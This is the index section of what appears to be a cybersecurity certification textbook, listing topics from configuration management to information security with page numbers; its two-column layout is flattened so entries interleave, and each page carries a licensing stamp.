Configuration Item (CI), 530 Corporate Owned, Business hashing algorithms
configuration management Only (COBO), 344 checksum, 97‑98
system (CMS), 530‑531 Corporate Owned, Personally- digital signatures, 104‑105
configuration review, 63 Enabled (COPE), 344 cryptographic concepts
Conflicker worm, 84 corrective control, 9, 10 asymmetric cipher, 96,
constraints, embedded systems, correlation rules, 466 100‑102
331‑332 counterfeit card reader, 543 cipher, 96
consultants, 411 counterintelligence, 487‑488 ciphertext, 96
consumer-specific, cross-sector counter mode, 108 cryptanalysis, 96
(horizontal) legislation, 13‑14 cousin domains, 79 defined, 96
contactless point-of-sale covert channel, remote access modes of operations
(PoS), 360 Trojans (RATs), 87 Additional Data (AEAD)
containerization, content crash dump, 492 mode, 109
management, 353 Create-Thread, 395 authenticated
container security, 420 credential databases, 77 encryption, 109
container virtualization, 413‑414 credential dumping, 394 chosen ciphertext
containment phase, 456‑457 credentialed scans, 61 attack, 109
content filter, 272 credential harvesting, 82 cipher suites, 108
content filter configuration credential management, policies digital certificates, 106
changes for personnel, 183 digital envelopes and key
data loss prevention (DLP), 477 credential stealing, 381 exchange, 105‑106
mobile device management criminal syndicates, treat digital signatures, 104‑105
(MDM), 478 actors, 21 message authentication
update or revoke critical (top secret) data, 440 code (MAC), 109
certificates, 478 critical systems, identification perfect forward secrecy,
content management, 353 of, 510 107‑108
Content Security Policy (CSP), 385 cross-certification, 128 plaintext, 96
context-aware authentication, 349 Crossover Error Rate (CER), public key cryptography
continuity of operation planning 172‑173 algorithms, 101‑102
(COOP), 463, 508 symmetric cipher, 96, 99‑100

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-9

cryptographic longevity, 116 human resources (HR), 458 power redundancy,

cryptographic performance identification of incidents, 517‑518
limitations, 113‑114 465‑466 scalability and elasticity,
cryptographic primitive, 111‑112 incident response plan (IRP), 516‑517
cryptographic technologies 458‑459 strategies
blockchain, 121 legal department, 457‑458 active defenses, 534‑535
homomorphic encryption, 121 marketing team, 458 asset management, 531
lightweight cryptography, 121 stakeholder management, 458 change control, 530, 532
quantum and post-quantum, cyber kill chain attack change management,
120‑121 framework, 459‑460 530, 532
steganography, 121‑122 cybersecurity assurance, configuration
cryptographic use cases security controls, 8‑10 management system
authentication and non- cybersecurity framework (CSF), (CMS), 530‑531
repudiation, 111‑112 3, 10‑11 crypto diversity, 534
confidentiality, 112 cybersecurity resilience deception and disruption
integrity and resiliency of backup strategies strategies, 534‑535
data, 113 backup media types, defense in depth, 533‑534
cryptographic weaknesses 526‑527 honeyfiles, honey nets,
performance limitations, backups and retention honey ports, 534‑535
113‑114 policy, 522‑523 Information Technology
security limitations backup storage issues, 526 Infrastructure (ITIL),
entropy and weak keys, copy backups, 525 530‑531
114‑115 differential backups, layered security, 533‑534
predictability and 524‑525 site resiliency, 532‑533
reuse, 115 full backups, 524 technology and control
cryptojacking, 89 incremental backups, diversity, 533‑534
Cryptolocker, 89 524‑525 vendor diversity, 534
crypto-malware, 89 non-persistence cyber threat intelligence (CTI),
crypto-mining, 86‑87, 89 environment, 528 26, 479
CSA. see Cloud Security Alliance order of restoration, cyber weapons, 20‑21
(CSA) 527‑528 CYOD. see Choose Your Own
CSF. see cybersecurity snapshots and images, Device (CYOD)
framework (CSF) 525‑526
CSO. see Chief Security Officer guidelines for D
(CSO) implementing, 537 DAC (discretionary access
CSP. see cloud service provider redundancy strategies control), 199
(CSP) asynchronous and DarkMatter, 88
CSR, 128‑129, 142 synchronous replication, dark net, 25‑26
CTF, 210‑211 520 dark web, 25‑26
CTI, 26 disk redundancy, 519 dashboard, SIEM, 466‑467
curl, network reconnaissance fault tolerance and data acquisition, 490‑491
tools, 42 redundancy, 517 data at rest, 112, 447
customer data, 441 geographical dispersal, 520 database, geographical
CVE, 30, 59‑60 geographical redundancy, redundancy, 520
CVSS, 59‑60 520 database deidentification
cyber-attack life cycles, 20 geographical replication, methods
cyber incident response team 520 aggregation/banding
(CIRT) high availability, 516‑517 technique, 452
communication plan, 458 maximum tolerable data masking, 452
data sources, security downtime (MTD), 516 hashing, 452
and information event network redundancy, 518 salting, 452
management (SIEM), 466‑469 tokenization, 452

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-10 | Index

database management systems rights management application log files,

(DBMS), 451‑452 services, 450 470‑471
data breaches, 53, 443‑444 states of data, 447‑448 authentication logs, 470
data classification, 440‑441 data privacy and sensitivity network log files, 469
data controller, 439‑440 concepts system and security
data custodian, 439 data breaches, 443‑444 logs, 469
data-driven standard operating data classification, 440‑441 vulnerability scan
procedure (SOP), 459 data retention, 442‑443 outputs, 470
data exfiltration data roles and metadata, 471‑472
data privacy and protection responsibilities, 439‑440 network data sources, 472‑473
controls, 448‑449 data sharing, 444‑445 security and information
impact of, 53 data sovereignty, 443 event management (SIEM)
data exposure, 385 data types, 441‑442 correlation rules and
data governance team. see geographical considerations, retention policy, 466
privacy and data sensitivity 443 dashboard, 466‑467
concepts information life cycle logging platforms, 468‑469
data historian, 334 management, 438‑439 sensitivity and alerts, 467
data in processing, 447‑448 privacy breaches, 443‑444 sensors, 467
data integrity, incident response privacy notices, 442 trend analysis, 468
plan (IRP), 459 privacy terms of agreement, data sovereignty, 443
data in transit (motion), 447 444‑445 data steward, 439
data-in-transit (transport privacy vs security, 438 data storage, third-party risks, 55
encryption), 112 data privacy officer (DPO), 439 data storage performance
data in use, 447 data processor, 439‑440 tiers, 422
data loss, impact of, 53 data protection controls. see data types, 441‑442
data loss prevention (DLP) data privacy and protection dcfldd, 493
alert only, 449 controls DDoS. see distributed denial of
block, 450 data recovery, 495 service (DDoS)
content filter configuration data remnants, 552 dead code, 386
changes, 477 data replication, 422‑423 deauthentication attack, 244
endpoint protection, 328 data retention, 442‑443 Debian Linux, 114‑115
quarantine, 450 data roles and responsibilities Debian OpenSSL, 114‑115
secure web gateway data controller, 439‑440 decentralized key management,
(SWG), 272 data custodian, 439 137
tombstone, 450 data owner (senior executive) deception strategies, 534‑535
data masking, database role, 439 default account, 184‑185
deidentification methods, 452 data privacy officer (DPO), 439 default security groups, 185
data minimization, 451 data processor, 439‑440 default settings, weak host
data owner (senior executive) data steward, 439 configurations, 51
role, 439 data sanitization tools defense in depth, 533‑534
data plane, 432 crypto erase, 554 deguassing, 553
data privacy and protection Instant Secure Erase deidentification process, 451
controls (ISE), 554 demilitarized zone (DMZ)
database deidentification overwriting, 553 environmental security, 549
methods, 451‑452 Secure Erase (SE), 554 network topology and zones,
database encryption, 447 data sensitivity concepts. see 221‑223
data exfiltration, 448‑449 privacy and data sensitivity physical site security
data loss prevention (DLP), concepts controls, 541
449‑450 data sharing and use screened hosts, 223
guidelines for, 454 agreement, 444‑445 screened subnet, 222
privacy enhancing data sources triple-homed firewall, 222‑223
technologies, 451 log files denial of service (DoS) attacks

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-11

application programming Device Provisioning Protocol web server certificate types,

interfaces (APIs), 374 (DPP), 239 132‑133
DNS security, 287 DevOps. see development and see also certificate and key
network address allocation, operations (DevOps) management
284 DevSecOps. see development, digital envelopes, 105‑106
open-source spoofing tool, 45 security, and operations digital forensics
Wi-Fi protected setup (DevSecOps) documentation
(WPS), 239 DGA (domain generation counterintelligence,
Department of Defense Cyber algorithm), 91 487‑488
Exchange, 12 D-H (Diffie-Hellman) key digital forensics
deployment and automation agreements, 107‑108 reports, 485
concepts DHCP. see Dynamic Host e-discovery, 485‑486
application development, Configuration Protocol (DHCP) event logs, 487
deployment, and DHE. see Diffie-Hellman network traffic, 487
automation, 399 Ephemeral mode (DHE or EDH) strategic intelligence,
automation/scripting release DHE or EDH (Diffie-Hellman 487‑488
paradigms, 401‑403 Ephemeral mode), 107, 293 timelines, 486‑487, 494
provisioning control, 401 Diamond Model of Intrusion video interviews, 486
secure application Analysis, 461 witness interviews, 486
development environments, dictionary attacks, 160 evidence acquisition
399 differential backups, 524‑525 artifacts and data
software diversity, 403 Diffie-Hellman (D-H) key recovery, 495
version control, 401 agreements, 107‑108 cache data acquisition, 495
deployment models. see mobile Diffie-Hellman Ephemeral mode of Cloud data, 496
device deployment models (DHE or EDH), 107, 293 data acquisition, 490‑491
DER (Distinguished Encoding Diffserv, 252 digital forensics
Rules), 140 Digicert, 127 software, 491
destination NAT/port digital certificates disk image acquisition, 493
forwarding, 264‑265 attributes of, 130 firmware, 496
detection time, incident certificate authority (CA) network data acquisition,
response plan (IRP), 459 issuing, 126‑127 495
detective control, 9, 10 Client Authentication, 132 preservation and integrity
deterrent controls, 10 Code Signing, 132 of evidence, 494
Developer Enterprise code signing certificates, 135 snapshot, 495
Program, 345 defined, 126 system memory
development, security, and Email Protection, 132 acquisition, 491‑493
operations (DevSecOps), 5‑6 email/user certificates, 134 guidelines for, 498
development and operations Extended Key Usage (EKU), 132 key aspects of, 484‑485
(DevOps), 5‑6 issues with, 143 digital forensics reports, 485
development environments Key Usage attribute, 132 digital forensics software, 491
development, 400 machine/computer Digital Guardian, data loss
integrity measurement, 401 certificates, 134 prevention (DLP), 450
production, 400 modes of operations, 106 Digital Signature Algorithm
sandboxing, 401 policies, 132 (DSA), 105
secure configuration root certificates, 135 digital signatures, 104‑105
baseline, 401 secure remote access digital tape systems, 527
staging, 400 protocols, 307 direct access, 22
test/integration, 400 self-signed certificates, 135 direct access attack vector, 22
device accounts, credential Server Authentication, 132 directory services, 202‑203
policies for, 186‑187 standards for, 129 directory traversal injection
device discovery, 358 types of, 132 attack, 379
Device Enrollment Program, 345

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-12 | Index

disassociation and replay DNS Security Extensions DSA (Digital Signature

attacks, 244‑245 (DNSSEC), 287‑288 Algorithm), 105
disaster recovery plans (DRPs), DNS server cache poisoning, 287 due diligence, 13
462‑3, 512 DNS sinkhole, 535 due process, 484
disasters Docker, 413‑414, 420 dump files, 471
environmental, 511 documentation dumpster diving, 76
internal vs external, 511 counterintelligence, 487‑488 duress alarms, 544
person-made, 511 in digital forensics, 484 DV (domain validation), 132‑133
discretionary access control digital forensics reports, 485 dynamic code analysis, 387‑388
(DAC), 199 e-discovery, 485‑486 Dynamic Host Configuration
disk, backup media types, 527 event logs, 487 Protocol (DHCP), 230, 284‑285
disk encryption, 320‑321 network traffic, 487 dynamic link library (DLL)
disk image acquisition, 493 strategic intelligence, 487‑488 DLL injection, 369
disk redundancy timelines, 486‑487, 494 fileless malware, 84
multipath, 519 video interviews, 486 man-in-the-browser (MitB)
Redundant Array of witness interviews, 486 attack, 397
Independent Disks (RAID), 519 Document Object Model dynamic resource allocation, 420
disruption strategies, 535 (DOM), 377
Distinguished Encoding Rules domain generation algorithm E
(DER), 140 (DGA), 91
EAP (extensible authentication
distinguished name (DN), 202 domain hijacking, 285‑286
protocol), 165‑166, 240, 241‑242
distributed denial of service domain name resolution
EAPoL (EAP over LAN), 167
(DDoS) domain hijacking, 285‑286
EAP-TLS, 241‑242
load balancers, 247 domain reputation, 286
EAP-Tunneled TLS (EAP-TTLS),
mitigation, 248‑249 uniform resource locator
242‑243
remote access Trojans (RATs), (URL) redirection, 286
EAP with Flexible Authentication
86‑87 domain name system (DNS)
via Secure Tunneling (EAP-
distributed reflection DOS configuration baselines, 326
FAST), 243
(DRDoS), 247 domain name resolution,
east-west traffic considerations,
DLL (dynamic link library), 84 285‑286
224
DLL injection, 369 footprinting, 287
Easy Connect method, 239
DLP (data loss prevention), 272 network appliances, 217‑218
eavesdropping, 227
DMZ. see demilitarized zone poisoning, 286‑287
ECC (elliptic curve cryptography),
(DMZ) security, 287‑288
102, 105
DN (distinguished name), 202 domain reputation, 286
economic effects, incident
DNS. see domain name system domain validation (DV), 132‑133
response plan (IRP), 459
(DNS) doppelganger domains, 79
edge computing, 432‑433
DNS amplification attack, 248 DoS. see denial of service (DoS)
edge devices, 433
DNS client cache poisoning, 286 attacks
edge gateways, 433
dnsenum, network downgrade attacks,
EDH. see Diffie-Hellman
reconnaissance tools, 41 cryptographic attacks, 116‑117
Ephemeral mode (DHE or EDH)
DNS event logs, 470 downtime, incident response
e-discovery, 485‑486
DNS poisoning plan (IRP), 459
eduroam network, 243
DNS client cache poisoning, DPP (Device Provisioning
egress traffic filtering, 256
286 Protocol), 239
EIGRP (Enhanced Interior
DNS server cache poisoning, Dragonfly handshake, 238‑239
Gateway Routing Protocol), 219
287 DRDoS (distributed reflection
EKU (Extended Key Usage), 132
man-in-the-middle attack DOS), 247
Electromagnetic Interference
(MitM), 286 driver manipulation, 369
(EMI), 551
DNSSEC (DNS Security drones/unmanned aerial vehicle
Electronically Stored Information
Extensions), 287‑288 (UAV), 69‑70, 338, 545
(ESI), 485‑486
DNS security, 287‑288 dry-pipe, 552

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-13

electronic locks, 542 full disk encryption, 421 Android, 346‑348

elliptic curve cryptography (ECC) encryption ciphers and keys, 98 Apple’s iOS, 345‑346
Digital Signature Algorithm end of life (EOL), 322‑323 mobile application
(DSA), 105 end of service life (EOSL), 322‑323 management (MAM), 345
public key cryptography endpoints mobile device management
algorithms, 102 configuration changes (MDM), 345
Elliptic Curve Diffie-Hellamn application allow and unified endpoint
Ephemeral mode, 293 block lists, 478‑479 management (UEM), 345
email, as attack vectors, 23 quarantine, 479 enterprise reference
email mailbox servers, 217 endpoint agents, 449 architecture, defined, 11
email metadata, 471‑472 endpoint protection enterprise risk management
Email Protection, 132 anti-malware software, 327 (ERM), 501
email services anti-virus software see also risk management
secure IMAP (IMAPS), 297 (A-V), 327 enterprise single-sign on
Secure/Multipurpose data loss prevention (SSO), 295
Internet Mail Extensions (DLP), 328 entropy and weak keys, 114‑115
(S/MIMI), 297‑298 endpoint protection entry/exit point security, 541
Secure POP (POP3S), 297 deployment, 328 environmental disasters, 511
Secure SMTP (SMTPS), 296 endpoint protection environmental security. see
Simple Mail Transfer Protocol platform (EPP), 327‑328 host/environment security
(SMTP), 296‑297 host-based intrusion ephemeral session keys,
email/user certificates, 134 detection/prevention 107‑108, 293
embedded system security (HIDS)(HIPS), 327 EPP (endpoint protection
implications endpoint protection platform), 90
communication deployment, 328 eradication and recovery phase,
considerations, 333‑334 endpoint protection platform 456‑457
constraints of, 331‑332 (EPP), 90, 327‑328 error handling, 367, 383
filmware code control, 339 endpoint security escrow of keys, 138
industrial control systems, antivirus response, 329 ESP (Encapsulation Security
334‑335 baseline configuration Payload), 305
Internet of Things (IoT), and registry setting, 326 ethical hacking, 67
335‑336 cybersecurity resilience, European Economic Area, 443
logic controllers, 332 533 EV (extended validation), 133
medical devices, 338 endpoint protection, event logs, 487
multifunction printers 327‑328 evidence, preservation and
(MFPs), 337 hardening systems, integrity of, 494
network segmentation, 338 325‑326 evidence acquisition
specialized systems for next-generation endpoint artifacts and data recovery,
facility automation, 336‑337 protection, 328‑329 495
vehicles and drones, 338 patch management, cache data acquisition, 495
Voice over IP (VoIP), 337 326‑327 of Cloud data, 496
wrappers, 339 gateway, 424 data acquisition, 490‑491
Encapsulation Security Payload interface, 424 digital forensics software, 491
(ESP), 305 restricting, 22 disk image acquisition, 493
EnCase Forensic, 493 virtual private cloud firmware, 496
encoding (VPC), 424 network data acquisition, 495
Distinguished Encoding Rules Enhanced Interior Gateway preservation and integrity of
(DER), 140 Routing Protocol (EIGRP), 219 evidence, 494
Privacy-enhanced Electronic enterprise/IEEE 802.1X snapshot, 495
Mail (PEM), 140 authentication, 240‑241 system memory acquisition,
encryption enterprise mobility 491‑493
cloud storage security, 421‑422 management (EMM) evidence in digital forensics, 484

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-14 | Index

evil twins, 243‑244 failover, 250 financial information, 442

exceptions handling, 385 Failure to Enroll Rate (FER), 173 fingerprinting, service discovery,
Exchange mail users, 134 fake telemetry data, 535 39‑40
execution control False Acceptance Rate (FAR), 172 fingerprint reader, 348
allow list, 393 false flag campaigns, 21 fingerprint recognition, 173
block list, 393 false negative alerts, 61‑62, 271 fingerprint scanners, 173
code signing, 393 false positive alerts, 61‑62, 271 FIPS. see Federal Information
Linux, 394 False Rejection Rate (FRR), 172 Processing Standards (FIPS)
OS-based execution control, FAR (False Acceptance Rate), 172 fire detection and suppression,
393‑394 Faraday Cages, 550 551‑552
Python, 392 fast-flux, 91 fireELF, exploitation frameworks,
Windows, 394 Fast Identity Online (FIDO), 168 46
exercise types, blue, purple, red, fault tolerance and FireEye
white team, 68‑69 redundancy, 517 network reconnaissance
Explicit TLS (FTPES), 296 FDE. see full disk encryption tools, 41
exploitation frameworks Federal Information Processing system memory acquisition,
browser exploitation Standards (FIPS), 11 492
frameworks, 46 federation, 203 threat intelligence providers,
fireELF, 46 fencing, site security, 541 27
Metasploit, 45‑46 FER (Failure to Enroll Rate), 173 treat actors, 21
Pacu, 46 Fibre Channel, 520 firewall implementation
RouterSploit, 46 FIDO (Fast Identity Online), 168 application-based
Sn1per, 46 field programmable gate array firewalls, 260
Zed Attack Proxy (ZAP), 46 (FPGA), 332 firewall appliances, 259‑260
exposure factor (EF), 502 file/code repositories, virustotal. firewall router appliance, 260
Extended Key Usage (EKU), 132 com, 30 firewalls
extended validation (EV), 133 file cookies, 292 access control lists (ACL),
extensible authentication file encryption (data-at-rest), 112 262‑263
protocol (EAP), 165‑166, 240, file extensions, 141 application aware
241‑242 file integrity monitoring (FIM), 272 firewalls, 258
Extensible Configuration fileless malware, 84‑85 application-based
Checklist Description Format file manipulation firewalls, 260
(XCCDF), 63 cat command, 278 application firewall, 260
extensible markup language head and tail commands, 278 cloud firewall security, 425
(XML) injection, 378 logger command, 278‑279 configuration changes,
external media protections, 350 file metadata, 471 476‑477
external threat file system permissions, 200‑201 firewall implementation,
actor/agent, 19 File Transfer Protocol (FTP), 295 259‑260
malicious, 19 file transfer services firewall router appliance, 260
risk management, 501 Explicit TLS (FTPES), 296 host-based firewall, 260
extranet zones, 220 File Transfer Protocol isolation-based containment,
(FTP), 295 475
F FTP over SSL (FTPS), 296 native cloud application-
Implicit TLS (FTPS), 296 aware firewalls, 425
facial recognition
SSH FTP (SFTP), 296 network address translation
iris scan, 174
filmware, software (NAT), 263‑265
mobile device management
vulnerabilities, 50 network appliances, 217‑218
(MDM), 348
filmware code control, 339 network log files, 469
retinal scan, 174
filter expressions, 42‑43 network operating system
facility automation, 336‑337
FIM (file integrity monitoring), 272 (NOS) firewall, 260
factors. see authentication
financial and reputation loss, next-generation firewall
factors
impact of, 54 integration, 329

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-15

next-generation firewalls full tunnel, VPN client firewall service, 419

(NGFW), 271‑272 configuration, 309 Google Pay, 360
open-source vs. proprietary, fully qualified domain name Google Play, 346
266 (FQDN), 128‑129, 130, 285 G Suite, 409
packet filtering firewalls, 256 functional exercises, 512 Managed Google Play, 352
packet injection and replay, 44 functional recovery plans, 512 Play Protect, 347
segmentation-based Function as a Server (FaaS)/ Safari, 470
containment, 475 serverless architecture, 430‑431 government data, 442
stateful inspection firewalls, funding, of threat actors, 19 GPOs (group policy objects), 191
257‑259 fuzzers, 387‑388 GPS tagging, 352
threat intelligence sources, 25 fuzzing, 387‑388 Gramm-Leach-Bliley Act (GLBA),
unified threat management 14, 504
(UTM), 271‑272 G gray box, 68
virtual firewalls, 265 gray hat hacker, 20
gait analysis, 175
web application firewalls, grayware
Galois Counter Mode, 293
273, 425 adware, 85
Gartner, “Magic Quadrant”
firmware potentially unwanted
reports, 328
digital forensics, 496 programs (PUPs), 82, 83
gateway endpoints, 424
over the air updates, 361 Greenbone Community Edition,
gateways, site security, 542‑543
first responder, 465 vulnerability manager, 59
GCMP (AES Galois Counter
flash drive security, 321‑322, 552 Greenbone Networks, OpenVAS
Mode Protocol), 238
fog computing, 432‑433 scan engine, 58, 59, 61
GDPR. see General Data
fog nodes, 433 grep command, 279
Protection Regulation (GDPR)
footprinting, 69 group account, 184
General Data Protection
footprinting (topology group policy objects (GPOs),
Regulation (GDPR), 13‑14, 442,
discovery), 36‑37 191, 394
443
forced proxy, 261 guest accounts, 183‑184
generators, 518
Forcepoint, 426 guest operating systems, 411
generic accounts, 186‑187
forensic procedures, 463 GUI topology discovery tools, 36
generic administrator account
forensics. see digital forensics
management, 185
Forensic Toolkit (FTK), 491, 493
geofencing, 351 H
forms mechanism (POST), 292
geographical considerations, hackers, 20
forward proxy CASBs, 427
data security, 443 hacker teams, 20
forward proxy servers, 261‑262
geographical dispersal, 520 hacking the human, 74
4G cellular, 333
geographical identification hacktivists
FQDN. see fully qualified domain
metadata, 352 defined, 20
name (FQDN)
geographical redundancy, 520 influence campaigns, 82
Freenet, 25
geographical replication, 520 Hak5 Pineapple, 69
frequency-based trend
geolocation, 193 halon gas-based fire
analysis, 468
geo-redundant storage suppression, 552
F-Response TACTICAL, 492
(GRS), 423 hard disk drives (HDD)
FRR (False Rejection Rate), 172
Get-Help cmdlet, 392 data destruction, 552‑553
FTP (File Transfer Protocol), 295
global positioning system (GPS), Instant Secure Erase (ISE),
FTPES (Explicit TLS), 296
350‑351, 357 554
FTP over SSL (FTPS), 296
GlobalSign, 127 nonvolatile storage media,
FTPS (FTP over SSL), 296
GoDaddy, 127 493
FTPS (Implicit TLS), 296
Google Secure Erase (SE), 554
full backups, 524
App Engine, 409 secure filmware,
full device encryption, 350
Chrome, 470 implementing, 320
full disk encryption, 421
Cloud to Device Messaging, hardened PDS, 550
full disk encryption (FDE), 320‑321
361 hardening systems, 325‑326
full-scale exercises, 512

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-16 | Index

hardware root of trust (RoT), host-based intrusion detection/ guidelines for implementing,
318‑319 prevention (HIDS)(HIPS), 327 341
hardware security module hosted private cloud, 408 secure filmware,
(HSM), 165, 422 host/environment security implementing
Hashcat, 161 data sanitization tools, boot integrity, 319‑320
hashing 553‑554 disk encryption, 320‑321
database deidentification Faraday Cages, 550 end of life (EOL), 322‑323
methods, 452 fire detection and end of service life (EOSL),
digital signatures, 104‑105 suppression, 551‑552 322‑323
hashing algorithms, 97‑98 hot/cold aisles, 551 hardware root of trust
hashing algorithms HVAC, 550 (RoT), 318‑319
checksum, 97, 104‑105 protected distribution, 550 organizational security
cryptographic ciphers, 97‑98 secure areas, 548‑549 agreements, 323
digital signatures, 104‑105 secure data destruction, third-party risk
hashing, 97‑98, 104‑105 552‑553 management, 322
message digest algorithm host hardware, 411 USB and flash drive
(MDA), 97‑98 host-related intrusion detection security, 321‑322
secure hash algorithm (SHA), systems (HIDS), 272 HOSTS files, 286
97‑98 host security solutions hot aisle/cold aisle
head commands, 278 embedded system security arrangement, 551
health information, 441‑442 implications HOTP (HMAC-based One-Time
Health Insurance Portability and communication Password Algorithm), 168‑169
Accountability Act (HIPPA), 14, considerations, 333‑334 hot plug PSU, 517
444, 504 constraints of, 331‑332 hot site, 532‑533
heating, ventilation, air facility automation, hotspots, 357‑358
conditioning (HVAC), 550 336‑337 hot storage, 422
heat map risk matrix, 503, 506 filmware code control, 339 HR policies. see human
heat maps, 236 industrial control resources (HR) policies
HSM (hardware security
heuristics, 271 systems, 334‑335
module), 165
hibernation file, 492‑493 Internet of Things (IoT),
HTML5 VPN, 310
HIDS (host-related intrusion 335‑336
HTTP access logs, 470
detection systems), 272 logic controllers, 332
HTTP methods, 372‑373
hierarchical (Intermediate CA), medical devices, 338
HttpOnly attributes, 384
127‑128 multifunction printers
HTTPS (hypertext transfer
high availability (HA), 422‑423, (MFPs), 337
protocol secure), 292
516‑517 network segmentation,
HTTP Strict Transport Security
HMAC-based One-Time 338
(HSTS), 385
Password Algorithm (HOTP), vehicles and drones, 338
human-machine interfaces
168‑169 Voice over IP (VoIP), 337 (HMIs), 334
hoaxes, 78‑79 wrappers, 339 human resources (HR) policies
home automation devices, 336 endpoint security account policies
Homeland Security Act, 504 antivirus response, 329 access policies, 191‑192
homomorphic encryption, 121 baseline configuration account attributes, 191
honeyfiles, honey nets, honey and registry setting, 326 account audits, 194
ports, 534‑535 endpoint protection, account lockout and
horizontal (consumer-specific, 327‑328 disablement, 196‑197
cross-sector) legislation, 13‑14 hardening systems, account password policy
horizontal brute force online 325‑326 settings, 192‑193
attacks, 159 next-generation endpoint account permissions, 195
horizontal privilege escalation, protection, 328‑329 account restrictions,
366 patch management, 193‑194
host-based firewall, 260 326‑327 usage audits, 195‑196

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-17

administrator credential authorization, 148‑149 background checks and

policies, 185 background checks and onboarding policies, 181‑182
background checks and onboarding policies, 181 guidelines for implementing,
onboarding policies, 181 identification, 148‑149 213
conduct policy, 208‑209 operation, 181 identity management control
credential management recruitment, 181 types
policies, 183‑184 secrets management, 419‑420 certificates and smart
device accounts credential terminations/separation, 181 cards, 180
policies, 186‑187 identity and account identity provider (IdP),
incident response (IR), 458 management controls 180‑181
offboarding policies, 183 account policies tokens, 180
operation, 181 access policies, 191‑192 offboarding policies, 183
personnel policies for account attributes, 191 personnel policies
privilege management, account audits, 194 conduct policy, 208‑209
182‑183 account lockout and training technique
recruitment, 181 disablement, 196‑197 diversity, 210‑211
terminations/separation, 181 account password policy user and role-based
training technique diversity, settings, 192‑193 training, 209‑210
210‑211 account permissions, 195 personnel policies for privilege
user and role-based training, account restrictions, management, 182‑183
209‑210 193‑194 privilege access
hybrid password attacks, 160 usage audits, 195‑196 management, 187
hybrid warfare, 82 administrator/root accounts secure shell keys, 187
hypertext transfer protocol administrator credential security account types and
secure (HTTPS), 292 policies, 185 credential management
hypervisor-based virtual default security guest accounts, 183‑184
firewalls, 265 groups, 185 policies for personnel, 183
hypervisor/virtual machine generic administrator standard users, 183
monitor (VMM), 411‑412 account management, 185 security group-based
authorization solutions privileges, 184
I attribute-based access service accounts, 185‑186
control (ABAC), 201 shared/generic/device
I2P, 25
directory services, 202‑203 accounts and credentials,
IAM. see identity and access
discretionary access 186‑187
management (IAM)
control (DAC), 199 third-party credentials, 187
IBM
federation and identity fraud, 77
Active Directory Rights
attestation, 203‑204 identity management control
Management Services (RMS),
file system permissions, types
450
200‑201 certificates and smart
X-Force Exchange, 27
mandatory access control cards, 180
ICMP (Internet Control Message
(MAC), 201 identity provider (IdP), 180‑181
Protocol), 36‑37
Open Authorization tokens, 180
ICV (Integrity Check Value), 305
(OAuth) protocols, 205‑206 identity provider (IdP), 180‑181,
ID badges, 546
Open ID Connect 203‑204
idempotence, 431
(OIDC), 206 identity theft, 53, 443‑444
identification of incidents,
role-based access control IdentTrust, 127
456‑457, 465, 466
(RBAC), 199 IdP (identity provider), 180‑181,
identity and access
rule-based access control, 203‑204
management (IAM)
201‑202 IDS (intrusion detection system),
accounting, 148‑149
security assertions 268‑269
application security, 419
markup language (SAML), IEC, 11
authentication, 148‑149
204‑205

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-18 | Index

IEEE 802.1x port-based NAC disaster recovery plans, information life cycle
(PNAC), 166 462‑463 management, 438‑439
IKE (Internet Key Exchange), forensic procedures, 463 information security
307‑308, 308 guidelines for, 482 benchmarks, 12‑13
image backups, 525‑526 identification of incidents, Cloud frameworks, 11‑12
IMAP4 (Internet Message Access 465‑466 competencies, 3‑4
Protocol v4), 297 incident response plan (IRP), cybersecurity framework, 3
IMAPS (secure IMAP), 297 458‑459 information security
iMessage, 360 incident response process, business units
impact assessment, 442 456‑457 DevSecOps, 5‑6
impersonation, 75‑76 mitigation controls SOC, 5
Imperva, 273 adversarial artificial ISO, 11
Implicit TLS (FTPS), 296 intelligence, 480 regulations, standards, and
impossible travel time/risky content filter legislation, 13‑14
login policy, 194 configuration changes, roles and responsibilities
improper input handling, 367 477‑478 Chief Information Security
in-band connection, 310 endpoint configuration Officer (CISO), 4
incident containment changes, 478‑479 Information Systems
isolation-based containment, eradication and Security Officer (ISSO), 4
475‑476 recovery, 476 secure configuration guides
segmentation-based firewall configuration application servers, 13
containment, 476 changes, 476‑477 network appliance
incident eradication and incident containment, platform, 12‑13
recovery, 476 475‑476 operating systems (OS),
incident response (IR) security orchestration, 12‑13
business continuity plan automation, and vendor-specific guides,
(BCP), 463 response (SOAR), 479 12‑13
communication plan, 458 MITRE ATT&CK, 460‑461 web server applications, 13
continuity of operation playbook/runbook, 459, 479 security controls
planning (COOP), 463 retention policy, 463 compensating controls, 10
cyber incident response simulations, 462 deterrent controls, 10
team (CIRT), 457‑458 stakeholder management, 458 functional types, 9, 10
cyber kill chain attack tabletop exercises, 461‑462 managerial security
framework, 459‑460 walkthrough exercises, 462 control, 8‑10, 9
data sources incident response plan (IRP), operational security
application log files, 458‑459 control, 8‑10, 9
470‑471 incident response process, physical controls, 9, 10
authentication logs, 470 456‑457 technical security
metadata, 471‑472 incineration data destruction, 552 controls, 8‑10, 9
network data sources, incremental backups, 524‑525 security roles, CIA Triad, 2
472‑473 indicator of compromise (IoC), information security business
network log files, 469 28‑29, 277 units
security and information Indoor Positioning System (IPS), DevSecOps, 5‑6
event management 350‑351 SOC, 5
(SIEM), 466‑469 industrial camouflage, 541 Information Sharing and
system and security industrial control systems (ICSs), Analysis Centers (ISACs), threat
logs, 469 334‑335 intelligence providers, 27
vulnerability scan Infiniband, 520 Information Systems Security
outputs, 470 influence campaigns, 82 Officer (ISSO), roles and
Diamond Model of Intrusion information assurance, security responsibilities, 4
Analysis, 461 controls, 8‑10 Information Technology
Infrastructure (ITIL), 530‑531

Index

